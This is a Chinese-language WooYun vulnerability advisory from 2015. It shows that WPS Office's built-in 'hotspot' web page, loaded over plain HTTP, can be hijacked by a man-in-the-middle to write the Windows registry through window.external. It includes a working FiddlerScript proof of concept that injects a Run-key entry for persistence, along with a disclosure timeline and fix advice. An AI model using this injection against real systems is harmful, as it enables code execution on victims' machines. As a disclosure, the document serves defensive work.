当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100870

漏洞标题:WPS Office可在一定条件下被中间人攻击导致代码执行(之二)

相关厂商:金山软件集团

漏洞作者: MITM

提交时间:2015-03-12 12:42

修复时间:2015-06-15 12:44

公开时间:2015-06-15 12:44

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:7

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-12: 细节已通知厂商并且等待厂商处理中
2015-03-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-11: 细节向核心白帽子及相关领域专家公开
2015-05-21: 细节向普通白帽子公开
2015-05-31: 细节向实习白帽子公开
2015-06-15: 细节向公众公开

简要描述:

WPS Office可被中间人攻击导致代码执行,仍需一定条件,和WooYun-2015-100491思路有少许不同。版本:9.1.0.4953

详细说明:

中间人漏洞我目前发现有三个类型,WPS Office在这三类漏洞都有,非常经典。
类型一:用了HTTPS,但是未校验TLS证书。常见于软件内的登录界面。
类型二:自动下载可执行文件,未经校验就执行。常见于自动更新。
类型三:使用IE WebBrowser控件显示界面,网页内容可被中间人劫持,并且提供高权限接口给网页。
WooYun: WPS Office可被中间人攻击执行任意代码(需要一定条件) 讨论的就是类型一和二。这一报告讨论类型三。
类型三的背景是WebBrowser中的HTML页面通过window.external调用宿主程序的函数[1]。如果宿主程序将诸如文件读写、执行程序、注册表读写等函数提供给页面,如果不全程HTTPS的话,中间人就能够利用这些函数,严重情况可导致执行任意代码。
下面我们来看WPS Office,首先我们在运行WPS Office之前,打开Fiddler抓包。我们可以从抓来的请求中搜索window.external这一关键词。很快我发现window.external.WriteSetting("wreg", "<键值>")可以用来写Windows注册表。我又发现运行WPS时,有时会打开“WPS热点”,每天一次。WPS热点正是用了WebBrowser,所以接下来中间人只需劫持任意WPS热点的HTML请求(比如http://img1.mini.cache.wps.cn/wpsmini/partners_web/special_buy/
),注入WriteSetting,注册表就可以任意改了,而且无需用户交互,在加载页面时就会执行,不需要点通知栏里闪烁的图标。当然因为WPS没有管理员权限,我们只能改HKEY_CURRENT_USER下的键值。通过修改注册表达到任意代码执行应该是不难的。我的方法是修改开机启动项,当然我相信还有更好的方法,不过这就不是这个漏洞的重点了。
所以说如果用户在中间人控制的情况下刚刚打开WPS Office,那么下次开机时就会执行恶意代码。
参考文档:
[1] https://msdn.microsoft.com/en-us/library/system.windows.forms.webbrowser.objectforscripting(v=vs.110).aspx

漏洞证明:

版本:

Screenshot (34).png


使用Fiddler,在FidderScript的OnBeforeResponse函数中加入以下代码:

var regs_arr = new Array(
"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\WPSUpdater;sz;calc.exe"
);
var settingcode = "";
for (var i=0; i<regs_arr.length; i++) {
settingcode += "window.external.WriteSetting(\"wreg\", \"" + regs_arr[i] + "\");\n";
}

var src = "try {" + settingcode + "} catch (e) { alert(e);}";
var newBody = "<html><head><title>a</title><script>" + src + "</script></head><body></body></html>";

if (oSession.uriContains("/wpsmini/partners_web/special_buy/")) {
if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "text/html")) {
oSession.utilSetResponseBody(newBody);
}
}


然后运行WPS文字。过一会儿,打开regedit,可以看到WPSUpdater已经被写入注册表。

Screenshot (33).png

修复方案:

让网页随便改注册表绝对是危险的。应当根据需要仅开放相关API,读写注册表放在程序里进行。不要为了省事就开放高权限API。要重视中间人攻击,要把服务器返回的内容认为不可靠。

版权声明:转载请注明来源 MITM@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-15 12:44

厂商回复:

最新状态:

暂无